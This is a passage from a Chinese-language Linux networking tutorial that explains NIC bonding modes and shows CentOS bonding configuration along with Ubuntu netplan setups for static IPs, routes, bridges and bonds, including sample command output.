    容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。
    需要交换机配置为port channel

  • mod=3,即:broadcast(广播策略)这种模式的特点是一个报文会复制两份往bond下的两个接口分别发送出去,当有对端交换机失效,感觉不到任何downtime,但此法过于浪费资源;不过这种模式有很好的容错机制。此模式适用于金融行业,因为他们需要高可靠性的网络,不允许出现任何问题。

  • mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 动态链接聚
    合)在动态聚合模式下,聚合组内的成员端口上均启用LACP(链路汇聚控制协议)协议,其端口状态通过该协议自动进行维护。
    负载均衡—基于指定的传输HASH策略传输数据包。默认算法与blance-xor一样。
    容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。对比blance-xor,这种模式定期发送LACPDU报文维护链路聚合状态,保证链路质量
    需要交换机支持LACP协议

  • mod=5,即:(balance-tlb) Adaptive transmit load balancing(适配器传输负载均衡)
    在每个物理接口上根据当前的负载(根据速度计算)分配外出流量。如果正在接收数据的物理接口口出故障了,另一个物理接口接管该故障物理口的MAC地址。
    需要ethtool支持获取每个slave的速率

  • mod=6,即:(balance-alb) Adaptive load balancing(适配器适应性负载均衡)
    该模式包含了balance-tlb模式,同时加上针对IPV4流量的接收负载均衡,而且不需要任何
    switch(交换机)的支持。接收负载均衡是通过ARP协商实现的。bonding驱动截获本机发送的ARP应答,并把源硬件地址改写为bond中某个物理接口的唯一硬件地址,从而使得不同的对端使用不同的硬件地址进行通信。

mod=6与mod=0的区别:mod=6,先把eth0流量占满,再占eth1,….ethX;而mod=0的话,会发现2个口的流量都很稳定,基本一样的带宽。而mod=6,会发现第一个口流量很高,第2个口只占了小部分流量

说明:

常用的模式为 0,1,3,6
mode 1、5、6 不需要交换机设置
mode 0、2、3、4需要交换机设置
active-backup、balance-tlb 和 balance-alb 模式不需要交换机的任何特殊配置。其他绑定模式需
要配置交换机以便整合链接。如:Cisco 交换机需要在模式 0、2 和 3 中使用 EtherChannel,但在模
式4中需要 LACP和 EtherChannel

5.7.2 Bonding 配置

详细帮助

/usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
https://www.kernel.org/doc/Documentation/networking/bonding.txt

创建bonding设备的配置文件

/etc/sysconfig/network-scripts/ifcfg-bond0
    NAME=bond0
    TYPE=bond
    DEVICE=bond0
    BOOTPROTO=none
    IPADDR=10.0.0.100
    PREFIX=8
    #miimon指定链路监测时间间隔。如果miimon=100,那么系统每100ms 监测一次链路连接状态,如果有一
    条线路不通就转入另一条线路
    BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"

/etc/sysconfig/network-scripts/ifcfg-eth0
    NAME=eth0
    DEVICE=eth0
    BOOTPROTO=none
    MASTER=bond0
    SLAVE=yes
    ONBOOT=yes
/etc/sysconfig/network-scripts/ifcfg-eth1
    NAME=eth1
    DEVICE=eth1
    BOOTPROTO=none
    MASTER=bond0
    SLAVE=yes
    ONBOOT=yes

查看bond0状态
/proc/net/bonding/bond0

删除bond0
ifconfig bond0 down
rmmod bonding

三、ubuntu网络配置

1.网卡名称修改

ubuntu修改网卡名称:

#修改配置文件为下面形式
root@ubuntu1804:~#vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames=0"
#或者sed修改
root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#' /etc/default/grub
root@maple-u18:~# grub-mkconfig -o /boot/grub/grub.cfg ;reboot

2. 配置静态IP

ubuntu在18.04版本中的网络配置已经由
/etc/network/interfaces 换成了/etc/netplan/*.yaml配置文件了。
网卡配置文件采用YAML格式,必须以 /etc/netplan/XXX.yaml 文件命名方式存放
yml后缀不可以。
可以每个网卡对应一个单独的配置文件,也可以将所有网卡都放在一个配置文件里

root@ubuntu1804:~# vim /etc/network/interfaces
# ifupdown has been replaced by netplan(5) on this system.  See
# /etc/netplan for current configuration.
# To re-enable ifupdown on this system, you can run:
#    sudo apt install ifupdown

范例

vim /etc/netplan/01-netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      addresses: [10.0.0.151/24,1.1.1.1/32] #和下面方式不能混合用
        - 10.0.0.151/24
        - 1.1.1.1/32
      nameservers:
        search: [maple.com,maple.org]
        addresses:
          - 114.114.114.114
          - 8.8.8.8
      gateway4: 10.0.0.2

注意:地址一项必须加中括号,即使只有一个地址。

生效

netplan apply #加载网卡配置文件
ip a #查看地址是否生效
route -n  #查看网关是否生效
cat /etc/resolv.conf  #仅有search加到配置文件中了,dns没看到。
ll /etc/resolv.conf   #可以看到在ubuntu中resolv文件由systemd统一管理了。
systemd-resolv --status  #可以看到配置的DNS,
# resolvectl status Ubuntu 20.04新命令

search的作用
当只ping主机名时,自动补全后面的域名。
例:网卡配置文件里已经配置了search

vim /etc/host
127.0.0.1       localhost www.maple.com

root@ubuntu1804:/etc/netplan# ping www
PING www.maple.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.009 ms

3. 配置自动获取IP

vim /etc/netplan/01-netcfg.yaml
network:
version: 2
renderer: networkd
ethernets:
 eth0:
  dhcp4: yes

4. 配置多?卡静态IP和静态路由

mv eth0.yaml netcfg.yaml
vim netcfg.yaml 
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
      addresses:
        - 10.0.0.151/24
        - 1.1.1.1/32
      nameservers:
        search: [maple.com,maple.org]
        addresses:
          - 114.114.114.114
          - 8.8.8.8
      gateway4: 10.0.0.2
    eth1:
      dhcp4: no
      dhcp6: no
      addresses: [10.20.0.100/24]
      nameservers:
        addresses: [223.6.6.6]
      routes:
        - to: 10.30.0.0/24   #去往该网段的路由
          via: 10.20.0.1     #下一跳为10.20.0.1
        - to: 10.40.0.0/24
          via: 10.20.0.1
        - to: 10.50.0.0/24
          via: 10.20.0.1
        - to: 10.60.0.0/24
          via: 10.20.0.1

   73  history 
root@ubuntu1804:/etc/netplan# !70
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 1.1.1.1/32 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
    inet 10.20.0.100/24 brd 10.20.0.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fead:3d87/64 scope link 
       valid_lft forever preferred_lft forever
root@ubuntu1804:/etc/netplan# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 eth0
10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
10.20.0.0       0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.30.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.40.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.50.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.60.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1                    

5. 配置单网桥连接:

三个网卡在一个配置文件里

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: yes
    eth1:
      dhcp4: no
      dhcp6: no
    eth2:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      addresses: [10.0.0.161/24]
      nameservers:
        addresses: [114.114.114.114,8.8.8.8]
      gateway4: 10.0.0.2
      interfaces:
        - eth1
        - eth2

也可以一个网卡一个配置文件,网桥配置单独抽离出配置文件

netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: yes

br0.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth1:
      dhcp4: no
      dhcp6: no
    eth2:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      addresses: [10.0.0.161/24]
      nameservers:
        addresses: [114.114.114.114,8.8.8.8]
      gateway4: 10.0.0.2
      interfaces:
        - eth1
        - eth2

root@ubuntu1804:/etc/netplan# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global dynamic eth0
       valid_lft 1634sec preferred_lft 1634sec
    inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:91 brd ff:ff:ff:ff:ff:ff
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.161/24 brd 10.0.0.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::800c:13ff:fefb:6526/64 scope link 
       valid_lft forever preferred_lft forever

br0将eth1和eth2连接到自身,和eth1和eth2网络在同一网段的能够相互通信,
我这里的IP分配的稍微有问题,eth0的dhcp地址池分配的ip也是10网段的了,导致路由表里面有10网段的路由有两条记录
并且我宿主机10.0.0.1ssh连不上 10.0.0.151eth0接口了。
在主机里面加一条主机路由到宿主机即可ssh
route add -host 10.0.0.1/32 dev eth0

配置多网桥同样配置,在bridges下加个br1即可。

6. 配置多网卡绑定-链路聚合

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bonds:
    bond0:
      interfaces:
        - eth0
        - eth1
      addresses: [10.0.0.151/24]
      gateway4: 10.0.0.2
      nameservers:
        addresses: [223.6.6.6,114.114.114.114]
      parameters:
        mode: active-backup
        mii-monitor-interval: 100

ping测试,当断掉其中一个网卡时,能够正常ping通,当两个网卡都断掉之后,网络断开。重新接入网卡,网络恢复正常

7. 双?卡绑定+桥接

将做了网卡绑定的bond在桥接在网桥上。

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bonds:
    bond0:
      interfaces:
        - eth0
        - eth1
      parameters:
        mode: active-backup
        mii-monitor-interval: 100
  bridges:
    br0:
      addresses: [10.0.0.151/24]
      gateway4: 10.0.0.2
      nameservers:
        addresses: [223.6.6.6,114.114.114.114]
      interfaces:
        - bond0

root@ubuntu1804:/etc/netplan# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 br0
10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 br0
root@ubuntu1804:/etc/netplan# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
4: bond0: <BROADCAST,MULTICAST,MASTER,UP,LOWER_UP> mtu 1500 qdisc noqueue master br0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::800c:13ff:fefb:6526/64 scope link 
       valid_lft forever preferred_lft forever

网卡的多组绑定:同理,配置多个bond,每个bond绑定多个网卡

多网卡绑定+多桥接:将多个bond根据业务需求接到不同的网桥,实现业务互通和隔离。

;原文链接:https://blog.csdn.net/ledrsnet/article/details/115790465
本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文


随机推荐